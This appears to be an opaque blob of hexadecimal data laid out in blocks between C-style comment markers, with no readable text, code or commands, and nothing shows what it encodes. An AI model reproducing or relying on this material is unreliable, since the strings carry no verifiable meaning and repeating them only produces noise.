d1c2ca261899d31332368abc32622f8a0b1ab72f19220995a4a85c04afe16bb84793c28fc9dd153fdd8662a972e5d4663f4673cf2855bfdeeda17c5d6ddec00b5e07e4b849f3676ef86c5126c675455b9222f53d8d528bc86224649a88673ebab72b940d71180454ec222e602dae64cd419a553ab3891d5e31f0872c7aa398cc534f93e9200c2b5b3f253fbbb596cf6c1182d053fbe36fc0626863bc4c2e595e298da77b50f5a87fa76b7160be554011fedd30ac2d2dd0bab140a5983b2274ea95d9af07905d39a360ac042d2d00568eb31477c6e72fdee047c07c29d0689d370440dda83ed199da8efdbad252dc12f34d69728c57de595d03c30478162a03c524989defc10f969834855f7ff545eee38a2eb719ca5f87457352c091d99863474c6cfc2cd89a268d467ae00da8c87768cb7a30950ad79e494a697e10b2f7bf486f84d4ea66ded28229cf2086b640eadbb71cc36704c0ae037e4563f3418307f36c0cdc9ffea30b75156c1c66d88591660c0907f7550cbb4513213b5dc4400fa0a9b62858391d61d597c1d1a473eb886e0e8c8214f6cc0fdee8d0ad7a24b03c7066ead378b3b8b4d9a1e5eaf6cc56714890991dbea6a13a95c40a56f03ee8c2d9a512f79caae7afe9a70f310224797a08efc03abe549c34935f7511f756296705d9924c47c88912ddf2399d9b887d22ce01817f42d3a6ac657fa5f528b144d106ba62a7eaac8dd10dfcc1ee3f3ab2a5cf04611439cf7200b843c6d250e01*/
/*8a186eb5058c9280c3c12a04ab0ff1b234c0b38886a6b25199a6c0d7e016de48d4f67ccfa549b65f535cc92eed8f51a158dfa6517a301d7ad356fe48574723a0929a8247a26fb0d531c6e173a17508ccb30a5a93581021ff68cd5efc1c2ce479ce412bd90891c719cc7c39ea5e42c129a01e2d20731951c01f379bdac07899eb1d385ab9b2d2b74ee835c41d3ca46fa40ca4005b3c33b4e6b0ccda54246e278b89429a704e9016ae8a734b1f2e332bb6bdd0168380e15955bb6ac4f33c57ff6ff520ad1ed7e318c3dca814d22fa219876be1055a9a69ce3ff0d4d74243ecb5748e80d6cf7b2a430cdd5ec58ffaa463a4b9a306e4753f852da50ba923cd4b18635cec051a3f9d8165d16952c37d9068637472949aa9d17e07c0df787031966d0d1716d7b71a458c5ba711f706c4a4f36c0a0cc747650cb57f61d5100fcd03af49a71a191acbed2e892df52847bf92a446fc57b416ef6c32b2d964899c273a2aa2046fdf59a6611671e696ba983552d8e52923048de3eab7a47875954e3509d2c88f8ea40d60aea511d981bd53fd3c66d8aade7d0fcf4395b16511bbf1387792d99537f345da7406a29f2a778fb72e01a9df769ab61a69daa8541616b2d50b974f61d21e19b65b42075007113ae1e19dfd5cdf384f2b124e1bc672d2c8ed4322490cdc6ab26c170f565eb6b4d9c80f98b3f39f725a851ead81358e552dcebdc137feab2ca4e925f8819b95a3ecb42ee6c80191057de94ced8690fba1d60c064224defdd6d57091580f29174ac0eee6af06d0dc602c5ae0d4b6cbba0a676a1aef65b99aa9ea8162a18ef2918204705c344ecd616019ca747c785f8bd2d91b38f85028c692b4e85c949dced49e2a8295de55d480dd2c0d80e4c32859d06ae52cf1528e0937f7fbfaa1ce9eb7a1c7a15223daf9eaeb50ba4d327a40a5f3ec41aa8f6a9367508761b5fef16cf59e057cfac3665eac01cc1879f39455f4a81b9287bc3b2a96fb3c8c95fc81061a06bbdbc8281e90e3af8e99889dab165508649fb1747bf7611473b418a3c439796f324b51a44a79f67648467467bcb8efec5ff1808e106736c34d4cc5d4860c9ea9f8c8b68dbc40ad9a8fe23260fd9d7692bd6f2826e2d0a25aa55cc28bcb1a13e75a4e7823b95f2ab39dd4a721174837f27ec4846b14bd34966c42734ce629a46a2aa9d527b8ab85910f0c02729b1b841dfdf48aa09d8dee1ad2a89f293b1caeea994540530f0e13cc913b7f0c6b6fe86d355fe2247b203156ed040e7bd274f37dc1bd78a16edead910480a0f437134566ec44247616f3ad78f1edc88d20c749ef97895ce171b1a8603739b1263599c55623da5db80a2152e31475011e186f2d919783c461ad6ef1ac89d76c1f818adef551485159c75c094574b23e73a75a6cbba7858672074df8935185bcdc9434277ee56dd5bb935d33af64f56a78af435b23088581953a52eea4bb9c945326c1de31ca28926fa45f4742f4873bdf595978f4db7034d930d6b8cb1d8a8a48070c58c01a6e674ed9fcb14d54cd9b4502feb9c410864c1a4101e847fd8d703541a93b93bb0bc390dfbf10165d069c86869577193878defc4a14a705fb505d6a4eecccf84a38837c607baa370f5e23cb495694652bf42df00ce74f40dd3deb6dc090d25bf49c1afc36aa61298ec0a4ca193eeccecceffdf8ddd8095ceb3d7b0b26cdc21a3bca695b27453a30deb09acf8044709ad74eebbc08a536b8b55a957b4d84989e91dc69f987d92148bfe44a7ed35eb5c3c65fe76059d87b0a23bc0fd184f3e35bc636c3b8fd143babb6053fce8ea71ec3f6a6a1ded0f8107d735f7bd280cc0f7ed3f03b072b2ed65640fed857dcf8f062c46656f8aba1e82d0ed456b680007cd03b03ebcf0d42aa9dd213085e2a892f546d8fc14c40acc1be1314b1a0a7a3190895329003df611420e5e53ddbea56e1b41f920ca61080a09c71e72ca5d23ff5f5c3c9ff258f6dac6d8506789f254906d37ab6e165731fe575f956876c4a4e2738b4c5f024417b5d20c91987c733ec2efa062d629489b053c89a168f7ce89cb9ccd18dd3511e4ad3f56af57eb1dd4e1e9b3f6a022b353d4a3e5e745d3f3dd3c2f73cb70fdfdeb2a1e00fdbb6c673dae8d2e05344df34ecf8a3a3e70e9700da97a88add63eb5544d5d5ba5771213ae85a491c066673996a70dbc5052df74a87eafc21e2ac71d88615aee289aeb2fa9ee9123467da38ff095b9dc08465311c759f12bb891eedf25c2ebe14127c459c403832a8e5fa1a3770fe74953a5b71dff115269f49c5c36151db9a627e34c3e91a23b4f37652c67a7646681842ef4ef0968d03e4cb31ff8be019cd298cafa6562b594ad67fec99ff9ee92d7475e6b25c574c55b8e1a1cd0197ab8b998dd50691636cc3b867767a6c9b83461f9be981bfc29e25b1943987d0ffd3b98cc7249a5caf5625a2156a45f3d81c0eb397caf33368c54efeb718b9eb46f4800293408b8d594b4e09492a8759cb9031dec71e0e9d2662cce17f8ea6c08c0879a67178f2c8e194cca09ae9116ca8d2a11a2679ffb2abf72b8531af4eae4c98b468babf2dfc9cd6f617ea3c0785e769c0e919ec1931c1995ce06687a4fe63c7f2d8f1ae170d024f4a50c7a35a9122c567cdb4aea4c2ff72d84fd12bd9e21886729cf05a008735225532fb0c37dffcd124e98d63d138513487f371cab2f31b22c8de55f526489d7fb1935091b48bc6a19e516f44658cf19cf00a66b8a3d8c9c8a98c403aa13aaea035f5a0a770873d6754a94f95d08045493a369c0458a4ac22a6a6fa9a1ef857db73c5e738e0a7*/
/*3e684a58be76c03c7d25d234b769a5abc986e4efa0b8c4b54bab4d27bf8448e27613aa3ab0a08585e0068280831023870315d1125e280bc742986397453c7ece36cc165472a5a756a63b72b24ed68e74a1e84f9f4b69075fc396187b2e71795de4a2f316a8cf9a212ec81bfff52ab7cc9462d01570fe80b7e88cfa1edb7c84c02c42c3ad96fa6b28737b83b4ce1760692b109d025a4e925716cd9e1ee651bda40ab0d4d40263e7b10064c9db030008e3163cf1580a8f07a962a54a692fb2a667f8b518ab8df9e6453e9d7583179b5bdf2e66859a7fec0c8ed110c465bed6b698193c22fa228dc653d03db78ff1dc3826080d816c122885ed1acab6880520f7d38089ac7cc39de17eae1a8c9593b43f43e8400fd0076b187136da9f0ed1bba3be34e418eb924bd6a3f2a427142770565660591e1e422ff3ddc5c17161f099c9e8d8d4da9daccadf602d00bb8d26f3227c12bd7bfff45604a8844c5e8fe99b274234b96bd3688ca5d83eb727bb7984bae347c5b4731e773b411a94438deccf98bd311ae68a92622a5a52065e264628833a791e385ad077ec82c267c07fa38f31c78765e17c3361a5d47bc3a9df1a4687decd77137207f4a98277d4817222682834ecfb11b6989f2a24b805fd4a1ca6eb52320f30412fb555ab915c8d37a4ba4064e00e4045454c332a6d6655510c8383559d44b550b8e6871e1ae70cdfac3145aee0074b1ee0389459fbf76f8a84b5c9699c3f6fdc49938776653cc577137321a6d6dd3cf585b33c58fa19b11125ebe8f91c3499e48e23c0341f375a3fca6967c8b23db2a7418cf5497f1e838af3553f80588898b38734a4ba77d92c2bca75667f0ec686ecfca0902f2d2c8a7a86b214dc7bf8c0c880a09ed5faee3a704e21d67b205baf7b97203aee19a18f1e3b461404843f7e83ddb0ba3cff5e955427638bf5ca3a9a6dadb559db9526aeb19a0bf23077bf03a003980dacf3e2bfdbbaf52a123ed1e78afc5a88ccb1da984511432c48aa50336180ae23ac955e789efd522d8b9001e4f00a69f13b1d5962b04b7eaa06b00f5359832030ef8189477e096c0ff2ef8b796be069b037c29e131382b029173eaa63007a446bda00ce32556a71a0899fbbbe7f3cc8b8800e0cf549e828d0151c6ca4ab9a123f232ecd952fae7eff8fbc5c6618ef11ea0bb8b97910aa5f5bafc69017b83d8bc865311b97a55603fbece1d8b0371949fe925135109a9782b68a98e9b0c40ac53994a1adc28604e1458119b7dd5fbdf3f7313c2d146752a208bf6017793fd2b6afe62d91e204815440ea2a7cf99ff0d152ddd2c17039078c753b03442a51d8c1aadc64bfc8690b8eada743caea32522f1d4cc23ee64fda8233cc41502317aaf6457507ffa95154c2ea6e522db9acf7b902ddfb0776cb7046be9fb70408a99a2b6e88ba5f1c0580ecdbed2f83b21e5f2d762dec8ba8249f19e53550e0f41f90acc860f7c50da6d4403942a371a258b6782362896abdcfe104f3170ca04790de24a2713be9782c067e7fbee590f62c93b58e43bf0fa25d3b49f125d6ac2932dddabe74037bf3bd58a0c2ab7e2bee28f75f227b5f8816d7140986bb4c63ff1fc3605e7fb543ec0e4aaf617e4a8198d47332b7c411e02a07fa5592e46f3f1132194cf76719f97b2f83aa105ff65b6c9a56f96f3ef54989190f250b61265bc4f763463a6bf217d30346596d1ce2bce216e116d235f3366a5f3edd0b383cf5af605789064f73576be7c0df3340ce1392164453bc53ab43b157e57299232546595c66a6c0e94f520e3f19972f4a9279bab82e882237b43bea8697ace8df7f6e86b9f8018c208c32f48fab1349a7ec396aa2c72b430d1b7db56be76fa1d66fe602b7b86daa1c73af01d11a68b1289816f3092f5face9b88d3bb744f11d6538dc61a6f762d22645ec8ac6dcd58191951765423f40b10034a28a52b1f414bfa468b988963d54c19880a59e50c0c0da86197eed7179a51208b6e68714881b9523d6628c8ff57986d45fa9a64347d7668ff76821c09706efe87bb1159c7eafe7fedd4e4899d73dc2d77f797167b26bc8f5a5fe017d5883fdeb477c9fc31f38d98383d3a77b4ac12ddaa57b0c5e051d0fc33b8668da813c38ec903fc06edbe764a67bd0ccfedabeae4f187f1d9e575c4f3a217d96ea9d049b4acb354cb556437312bbe08f963c0ddfe90788806cb2e650599863f892b183bcaccc7ec0397dd309ed53b2b3622d649251efbfedf9f3f0bdf1891c0647e56ffb62d1ba392a106bdcf6c8a7cc2dd670e045570bd1d2497ff016345597170ed19f7003c6b39a478e4a5c27fa5c7d6bf9f9c793c13c4d3b0f5f6c6e3392fb675ec148d4ad44ab8ee8d20ff96297e54ea93c078e7c08f7a7d61574ad8bef3176139a8e462cddaff0a1e28a234b61478ef7598fd4de8c9d4a9ea043b6dbebf54ff94e62ab2b993aa6967503dd045f76acdef66f3c6f02164f77609dd5b57a4a24f1d1c5131ac0ce5ae4d115bf676e11242c544dba7f8f7977656c7bf0cde3e484c96cacde1ceac5effbdfd38b4282ba97fcde19ec7fafd89204bb468daa3b12ee3e6409ca2b7162b9c5fbf38ff701e14d9449c3b5d2951d9294155f5aa15b067713938158249069cf97bfae59681cf8ba38e4bfe7b87d6a7d14a6f388af81b633f1714d668c69154fb16e362277fb98aa1b1777b94764ac309a50d38a9b5b886f84da989f0e8431ae1f1bcb90cc5842839efaf6fdfa5384b50da5cf93e971300b960bec4b60ce4f8bc5955927fd2e71b28df9c46e4728271e463b9c444316434d69b97bcc954d703ad342*/
/*38c9826345ec7e60746ebe4c5e5dd099504edf5c446f4dba6dd8d9adb7621ed03ef103f8498d8eef27d6ef20e3c5069d9cd136c2ef70d7d2022a28572026ff46280d5c46214051d20519802e16e6761a0c464a2c39f240360d166561cd4bc4d5e267400a599efc3cff15c1a3795517d83528214ad5e8d0d00af86790ca727e22ace884fee9b23662115d5ad19cfd59e42b510cbc9bda0538ec94c95b932307da905ebfce66f3a9044a5d43b8079bcb98de132aa2420edd80604b8b297eaa37d55414ec4945bb750dd79b4201fe87c1933c74ec3741d32998855f1a86d46c3b1db4d53f983805a433d4611e307b856fb406ea873aa224055c9299f4492a04f037ee625e1a214c4a6ab93d2c0e9ce838df1b5f762545a9fb55b97b6a7917de0f0039cfa8ed38dfe44efbc3bf08736dc28cf6aaca56b849c2e3a1f2e715332269b3530c04addfbd63161906c5e127940c1ddeff940845a93f4152b7d5fdf3ae44386cd0ef071434e62f402c184b863027d69ac217ef6e89f847b7c144ef5887ad94a76f639919ea7fc1f9c312c6fb74ba542ea8e35a4ef926fb03760f18e69995749d87baa355c30b396d17132643159024f14abae108cf4496f11eb66f657c61dd4faa0981cc8ac0104839a4fe341e52e8278cc6cd1f6136023c75565d97be15122e1b3a544541cbb74c3d4b2ede10cadc9d7ccdf02f29e8ec59d2b08f4fe7b9096441fe083b702593e15ea13a0af519176c12ee6764e8f4b516193a272e98d5d73da141155abdaf78c55f97ed3b55162ba50572972e5b8feb3529467e834d6ca5aad9d0780404629937b01502f321eaa7fb6f7b2b975978d0cf2d3ccfc8e68c04181bd70f6b6716fbf7349810231c4adb6181322f4bacd86d83b138126fed646a8d2976bf9a0bf738915f3b1f26989fe6e1941cd0b14ea3c66c922d3cd31feaf696a452be36d7352072061d0534db5728a94bc46a26f5efc6afa3b59afb492cdd5c5827d0e21716ade7cb3e75e131fb41a4d8100e8a5b3e211632d4ded8c60ddbe7cc89b731fea1ee1c89bca176b07a5c811d64ec95b8ae1de906dbbd1dbe524096cc495588ec3be5c8536d7c2fe5450ca5ff71da4073ee7e82cb03749658171133f78ae7aaa977316eab06f13cd4868281b00624390bb247eb5b5d6ad20ee1cf26bf6045a16f91b35e999e2721a9127db386ea79ded8c0dbad93dccb6e607be8aeb475e9e47c99c945e9ef76edd957f354628f50412f59895f8044b7f8b7eab976584d61d83592dd97a012d9d93df1b1cc56957ecef9214b27acbe8798956b7aa36675fc4012c7c34663bf1ec8c0221292b8687ddbbee891d5e03b4ce3c9ba9567e30118174ffc81bed8e6f37635a5ec207189238d81c21889d624dd76d81e7a378d387f3790b1ba313361eb0c563b277676d44b3120c8fbaf51c4957e1abd2595d9d0b193a67358b1b5fa74b2e8ddfee9d4cfc58b2437953290ec9b1e8e9469d2aba76f37e9c31c8ec81c61647e10b785a9cf5fe1a058dc95a2c47674646b2465f2792da4b2f92b070c4e98f2dc3e06fa02e02249c83d51ed2c6f31116905da42077bf839becd730e7c416c1bcb02e98ff0c1aca605b12e8b3b94eee014874f0842cb4c0c5c46f785a0db9ce7789d7e28903c9a018bee220f34856fc844540a7b4ae1b057a65f288a56cbe14b470cfed0873bf4fee72f1edf6e220d5e098e3a757f9ccbfcc676fb171e306fa4d43ccadaf0a0e1ecf6cd809fce82d9bc75a33ccf682fa3188458dc79947042807b21d23ffe717650c2943464379c396f378567f63fcc109e44724c49a8f0038d607c5b2594d8f5c5e62f3f3f9740bb869b589e12a8fc1b801ad1f7507cb3bd9667558979564dc4f9f64fd4ef3b5de97579fe6b9eb667c5f666bca7cd80b4ccf63e8780bae349dfce437ae581b45095cce7a721420943187040aa816b0697440dd641eef1842938e0705eb60cac049ff8358bb35262136770207274e0a3a119a72a2e8dfd012d0af16d352122c61c3c9f7730171770715084cbaf154ec7d3bcd1550f7d2c67fbd511e8abe44cd398cb8733e2ad5965ef1740db793926389e8d36370ac2dd18f140090f950027d12f38b539232a6ac97bb6e8a8feea8dc10f8873cc03eb004fb4e3e54a2fd702b11db29bffb4717bc5a03bf99beccfe22cc8d40a4dcc9fc3d591935e4d9faac4cd547a863f0a0c263e82e09d0f7fae1bbdbf7f7ae63aba1d5e053435efd366b6292898a99e426e7e87529e2d1f9cf5daf08a4a80cbc546612d434652751950a00872dbe6f4cc2ce9d434971e7ca3f4d583e532bf3742497bb85fff6a0e28e00e51c83e32d181e7a0e436ae0a91054c68c7bdfb2e361f7cb1a9343f09dad362361839815b5e1c5cbb7c4f88de9ddc14a9ed3af5f470ae4d04f72bc32dd2d76cd1ad9490240f713d34c76c81713e13badf3843c7246e68201b5b8516c143293372ab38279f7c17a27cbc90bcb87805988425e455d8164bdc971820923c3fc553843851684eafca639537b9d6cd59d5cb65e3cea47642d8223d8b8857aad722bcf9ed79315ade67f93c71e258187cdaefd6762a4510a795dfacb5560f39c0a0f395bcbcc643d2e1bd7870ce08d821db26bfb917ecf968d19afec0264dfd05ed137ef3acfe6e2d9b57e8bb0bc45754412b8aac62f48be66e62f996887cbc1c3303b34d225454049afb3784973c35868f876773be559b6947f79b83c99e772d01c4e92a4cef0790ed9f76996ad1ec3a753e6ce06146cfb3f09660d6f99a5f1ac2a2f506648769c83cb88e65937d9c3778a4c09149d9d51da3db*/
/*6148b73c3ce7bc8895f0b49799718c315af3a58d37852c821bfb0f5a713596fc6bf14e85bd0d460600d62837adf60c63de48ac3eb85dfe55b2cbae9b418ec2e0e07c0382582d1727264ec84449fa176b6df680d8c19eb95a7686c8537b9db65d234689117a932f3a2742930030ad2f862ab6634129b2ab1a6907016d016b3eca9dc5064f62061434e14bce376b81f444e6d948ea39d550cbc2c994abb580f302ab032353d67eb54d68e247f294069c6642467e7e0b0bd250c9d3e7cbfe1d01b18699bef92faa346f67df6aa59e585b3791dd9971fcb5adf82f90a3b73ffac3d09d3e2de34ea144f7c2e1098b874c834cee7d39d67e485a5207ee2777097969b697125c580ddc1139de8e0e78fbc71a9f4b5964d3ad6aeeabe5a1f9d9f6ebd208c7ce0d0fb99448271bae7529c927c591f97bad2a41da13f46f02d45e9157b655f78bd0a4b7aeee7d20464486ff945df1c94423231e386a64981fa10ec0aecc08194b02b21c3ac7f98cd06fd45513641bf4388d85820fcbc9e0cf197899890c8db7b72dceeb98367acca76f17f24b1940d4177ae3411623087a04668ef079898436a640808358ce2b61039574eb4cc7bf64b22a037ff18390bc85dec19d48a5a81a8e8466776504050821fdf50371783ade04d514b0ece90a50c5445d92e3831be8d932151564bb90a184c7d39151cf6840c56b6e394ad0eb813744097c90b9139e3cee693b5468645e51a97bfa900dc2b6567e1155974da9cc7943a57c88ae248428df85e86d616f59399991335c9156bd0daf6fa06aba0e42323c750a0147fdfedd24c13544cda8b2f22e9f35d9fb1c86cc7b4627efb8ac10a023cef90d378ef5ed12688208b885fccb2d168d41ebfb326821881c62eb87a8355942cd974a2ec34cad58d3663a113edc276dabfaa62f0e445b3fe3e6c3338ff482cef4bb2ebbe4635ef5e064b78b4750005e351333211cefb89cdc522d672a68c2852df22a746c768b538a0d1ca11c9e708e7fd571488ca388a4a9c455accc60b8d1c692adb40f467bcfe1bf73e27edb57bd455b75b85a4e7e64fdce60f4858c29cbeb2f155829800fa1ffac025d6fd9130684fb2824cb2da3547ff9e67cc17d3075cede7c14fa6d1f21a939a0763555715e48efc40dce823e748c4bfb70f84f373b4fc0d2801f2e70b8dcf4e66a646b6a494f2c40774be00e683aea2998505c3c0189e45561c069b2650e15a8c90886738aa067d3a103fb44392f2a778f47174726377ee2ef9247533ea719da58a8eaa9d55110680069eff9aaaa92ca2999b0496f91f26f2a066dbb40b2870be1fdfee4b915dbf3b1cacf64ac7b6e270e813cb3d11ef5b1f27ffe68bd02b5e9eb0da5e27abd3d64898e9248c3ad7e257f01bdd5146072aa6b42fa21b6830d8880dfcf0a4106e6a05a9e45d41db5a2c517d7b5c92a2380d994a8031ef49cfc80a87052b89b0350c8496b67c5cd8cf117265d0fc2a558131127829cdcbba81aea2cddd32d2c55ddff43c62c4a8e57c7b900d7fc0f4de687575aacf772000a1a62e74fe06aa0ee4ff3889e18d9cb1cb2033c5d0578907a31de5a5594040e6bb84b05e80182646192cff78a7e330a6f31d5896b9b66b55045045d604b4144e5b7fc05cd6ac8b3fab6ae6bb557e3890e8384f9430b8b3fc9030f51a373ac8aac55385f35c31b729b1b8b754eafdf1631ba00af0c062b5863b94ba494a76786ae93495e1b866e60ef0bb484cf291ca9f003349494c5647ea2cdb24888aa15ac67ca9b35c7439019931588b4e14e8fb604e1d415e218340476b83ae2578e6e4df72e52af83b8e091b3b03821f4a341b71f710d17135217378bb1f03229bc7096da19ebb16d32da13f2370006f1f513999da96c1e61d295d3e0144ba97c67850f7818dd03299d36102fc9bfea7da9a71829aa5d976a1342051ee5f2a483c3ab54696bf8a4906466912932fc216c3ecb3f932dc18ad6961ad4453c165223743d938ab7b1bf0c1b31824719e8c616c9ed73ff5359c0c1296c2bb8d42c8fcef225e14ee836efdbd2f22fa0b9bc36c3a97591bdc1d9558e086e1208cad8b558ed70d206072f64d75f6852144a0d909a58eeb3aa1feb1c65120f314c6b54ce7bc94ddccd691d23966e58271e921341aace0a6270de1cae651d22b8df7f599a47a04ed9c29d0441f415e7ba8446e5571bfe7ef4edc3540bb301d6505cf1d3d2e43c2c610fbb3e3f5ae2fe608c2d90b07ca22cfd34687a4970c9798e3fc53312d7f320dc847bf3877a0040e8214a11d27c34cc70f46aefe6ae4ee324650930a8abefcc069b91ff2ce23c17612e9ff14e89f8cf511891d10c9f8cf00fd1031199904323fb673d3a58795fa8432a2b8d3264e8c78e45544cc7164694984b1fa6c6bb77f84ec2bb77461dc88954c0fc7da524230e0215fcad14aed68d9aba5ff32cb119d30ae7c4e648d9bd598de457c384b6eadd83de10918c400585fd9fb15edb482de04f6c708d5abaaf04391e09f257a06aeec25b7561ccf36a59d3d795add06b4ff20c42cb4c4fc07d12012b5067296de35ee7173bab7d18558da1705dbfeb6b023ce9760b9991650fc6e9f2b60641dc17c9c639a662c8a86df93905a02e8fa5e87939a4d618021aacf421ac714b3f192bc9e88eced7da4541fa2edcae64870e5e96e106955dd9f98a41b28e36e72e6f0414d0213cfc889251f2166743aa12f34b3e4407ec11bcb4b3149477c7a026ff500143c1745bedb6eb7ae56faaa21f974b42770daed1c61be5e38fff1267853481d0bfbe0709c0306e68e83f5967926ebac0c42c4b963bf9574920f26b93e2*/
/*f6a2ba49dcaec3398bc28ac5b29a65b5c0d88378a1404016f69db1f54a75ab7dafab3b5acc499fb4698aa3f03c152ef73dc873b4cc7d21a231e9b631d4c385a0e4eca0ce10d32dd23060c7ff6d0e92a726ef6e70db333872632757b8c9cc70eef67f63a0e42c519f44e7c577758d4a2e085dd56f18a48d0af6707f130d4eef6a90154fd2bbd1a33c9159b704ea71079da1f294c0110d3dc7184618d71cd994d00cefe7708d8ba4ab4ea1478f9bdeaa14e69f8319c962fe4b877e1587e6e04c85468266e8d3de296f461c04e1ebcddf3808da32c2cabde5d2b584a198dfd003e2cd6ef10f2b8c1a1db09fbf1835d6442923026e7ebba521b54d034eb8ba8202a1dc193263872f9d02bb8ba00e750ffe6c93da544e4a59cc9b685ace2e3c72b1fe72c0d9dbd99e6641306de7f78a0bfa4376d77393f590593ba85ef7989aaf30f445285ec37610507c65cd44d6ed85fe69d8648afc4173333c99f4dcdb25b96f795756660cd7ffe224979eaac554979946819534d3ac4e7cd9f48122b9a9bcc1601dcc8c83a1ea7d2ea559fcd4a1fda8c7c1688906b70e93ec866f045959cf10009ccf7f8c5a9c33f5f0c83266c189b4dfbadb6a6672d1cc92ed22eae3388bff5c993e3ed0bd504ec561e9648ad934b6ad413d4a7db7df2536fa7af24d5c4688aeb25ed439a738d3864928859991b8eef00f7383913688d51ab23699372dbf66cbaf647d87a853a108cde67b2d943f3cd5eb830edc00e36cf52ee39feeeee56f7c4d1d11dd6e07a87ba317551f0a936e986d3670f297abaf41ca7cfd351c7fc6ebcf97d3021a327e86b530c84bfeab3efdf577f5e68ee6ce954bf5b738b723da5dd482518058c47e94cc75d8b117bf2ffcd0fbb6af790f82fbf89645602e1c95cf5dda0fd5e5f5ed9f9c8b8995a6e9a076ae4635a0a7b0256ba089a7f3b6b0900293624d7a44a163189767fd774d134d310a136d1fc7305a87a2e7cd1119c508c68821a2f375c66564cdaa7a78d189added1149a907e5ee8090da52c7d4e9eb88deb431ecd6fffaa3121f37a2629870a9afb97acab0c59344b41676d1ecc34077eb195e2e6f69bda0ddca39c83017388771b262b09db7ad573ba30bb8dde424c1ea12f25127b4decafd3e30b4308edce5ba3626e7a8ce72e406fa35f599943a34fd35665953109b70d720029f25ddda05621845f97f01be3d0f9262b2b8a7710a01e4562ca7306a76e6cc516e12c0ae48a4b13476db4f834ed96c876ae0ae2eeb5c04ccfd1ab7f47afe430616cc71928ddf983143f254300fa477ace7179eae81cfa7335ef756b81b5598c618adf8266e2402775c64c0edb39ac7cd665f5c8ec8faacae9f7fd5b2c7ae649c6fee5f8f4dc46420cbad60f638babfcec86be64588a4119ce9ad1d047c045cec0b6e04315c69a19de0ec6a98aecd9840b7398ae1f9be44ac7ea4a7dd5a66987c0db5afd137a00cd2d4d3226b8b66770f4638cf388b6807ef884a1abcdd0c6be2a05ea7b674aa2396ff1fb0d85b6d360c541e7bdbb33ff98387aa13af9e2ecfa051406ec8f3104c8a61edd3d9502002fcc633bb8b9db288fb387d4f9c1e7e966e33aa669763963f8f0076e1bcf31e2686dccaf4ceec45c62e3b916e64e01944ff44232eaccd3a19ef77b25e50c275e97abf0818207cd0610d2c5548b72a254410755a9c50a9bb7d9d6433b9ca44545a6563b9feeee41224ce9db93b01d7944a6216388fae77b418479844fdf374bc92e16c45c82193fbdbb4cf50b66ba6f75d5856b36f83a435ba485788b0e8ba666e982cda13cb47d84771ec789e797c1ddf350c52fcd35c11e5dae4f4f83e9fd8a0a9e76542fc6315408ef70a3e159e2b4c51aa8eb3d0324322b54e978017ec4b86675871d841cd2b51013a585420d49c251efa4f74a66a57806c6c5c29dfaca418e0c959f137337c674207c189aca32593bf55e0a3ed95491302a889a14beab94b41b8ad3f675ac1e05bf70b0f71dc8e094ad7c9e0b8ec4853cc02817a22be832f629b8b80b08883867d100b8247c96d6f60bb0f955dc80a3587b5d385888a393ff7970a070ff67c972c0cd2b4a683e0d52fdec0b4858e35b192696369777ade747c7289f182cdea20b42794c635d71566e35dcb954a82ff7572b1a8444909f2cf28b1fa80dec38a786c037ba3a34b2404b7d4c10d538b1c4d540e9d691b3c7cfc8e535119b8da221c653c59ec67a09e7861f6bb03f66c5a5b77f758bfd6b8a1488e83a682c486ec8bb22552a0d80b9e1a763ffe7db1c326147c5dd6b718b8740a4bc25d1b114bc31a7cf34a484dff53be238f26b97f78d97aa9f85fbb7934f056bf558e8f14efa232fc294e135a24aeb3057eea219056be1386c366b2ec67e49f7a42ee82f8d35d52b05a8075b8c46ca702f81bb36b8c5915c73656d9eeeebad227e46ebedde50e56205c73d5db11121c972aadf4301cd348965985f0d11e0c70bd54cff340cb1beddc735c69e1b78a37578cacc7ff4f927f815e053ccb0919e2c215d2c6f283f5236a9d8eaa8b3de664d564d5aa4e52dcee3bcf202dd7582ffacbe8908e299ac1f79c4c6a9782894ce4b35a06fce84a2c3f38e135f30b19cd2a642be8f2651221d582ac884463f80246a6cfa9cd7c826a8baeefe661d90bf51da5258939ead44b126aed880ad521100164d6714638b366c4cdb270f481bdf2b33951fa4ca27ba49e19782926897362a0060e6545ab056f2e2c2fa18e42800fa5fa67ae986d96366076cd555f7f891207e7cb606d07a8aedb81d58dbd1cb1b4cba2d3250ba98ac030ddc42e9d7796643ed83b062573761*/
/*a3a71e280a7345316a4345fb2aa8e7983414a11701d9622bc208cd91f313092873438c5e706e3ad826d7048af68db841e044c356a7caa8bb458ff26e8ff410f932fe9461139b2dd40f1ce64664502a2c00999c52532a78c11ea8677992d0d3d68055a870fb8bb1988f810ce8a0672179e41247c3f82c7e111e0e23b91004429b59d60bbbf72ff05be5a74ac07edc87134382efc331f6ff0268cde5763284bb61126028ef3b29f0471370b4982dfa84e05207ddacb53b3e8420c9cf10623408ac89cf706ddff83bb0627c6755409b4cb1c8e3403b3f6b409f1e894b56a741ba8dfca389624fe3f991eb5b161f314046752974415b98c8ca2a9d467b3994bcee1cf2a60aad768366c99526937b5d99cdebae217daffd9a410cd7daf2e5738c14267769a77b3eb35f16477816c5cacd4cd527c0b697ace93c3e50234422ef9e8a6a4f3f65410037fed5d76b986d847667af7a5b72979a3f829ae3a51e4158d35fb11ab7efe0596dbf535accbe4a745a9c03b61aa4f144844d2c0a5ebac5dc8388f6b31bfa347d0b59cb267af41aaa57bd2147c82aa2349ca923c9828678e7f9e40c923bd18ea00a80eebba800369f56a93707a98529c175c550e1b0c55e3c412fd4f16141b21a28f851fe6d090fed66ff49fb01c985e9d235e729979696ebc930a3c9159df40ae9db3560cbfad97aaac8495afd83aa7180070cd99c62b73403181a06b8cf7b323889a9671a3161fa1caaeba54043db819ae1d0bebb1eeb690b20e68f0fa773c3ef1930df8abfb249be5985d5eb639f29dfd1a78321c61b45b937864c15864bec4e4c0f2ec5dc28d9e621c11b78b57b287492524888b4d627d831518fe578b2bae407ecee5b8fbea09a17f6944d09636bceefbea444b44bbc979915db075e34b603c8f923acde0e1a25f123e88b5e7c2c9473fab4f11b1e5eee424719af1ef21a6ade57012ef6b785fddd56e38542af6cba1e9884bd6b952cf5c35f2f1ba844c369b036d14cefcbb6c7da66c9cf2a779b286081c1f6dffedf90a64e566e7bae44cf63be7bf147d1141f0c62115af6bc0efaeedeed550b6101b024f5f275e25c6baa2ce7d8cb52725496da12453695b3a483af18bc52bcf902f3f12804bac7301213b740db64029916c840b82fa6554d9926290c014d26354e0280e818bd2b4c4af9805e5557d01a7fefdfd71e9610aec23899dd391660d7caad9bd581fd70f2f2d281cfa905b20fcf1c76c0be3d16a2cc558b723b0f26e1cb6125c34a9286745a9a4624f3b7edd60642690c0b33847a26942749e76a6643c1c64bf985cc24c3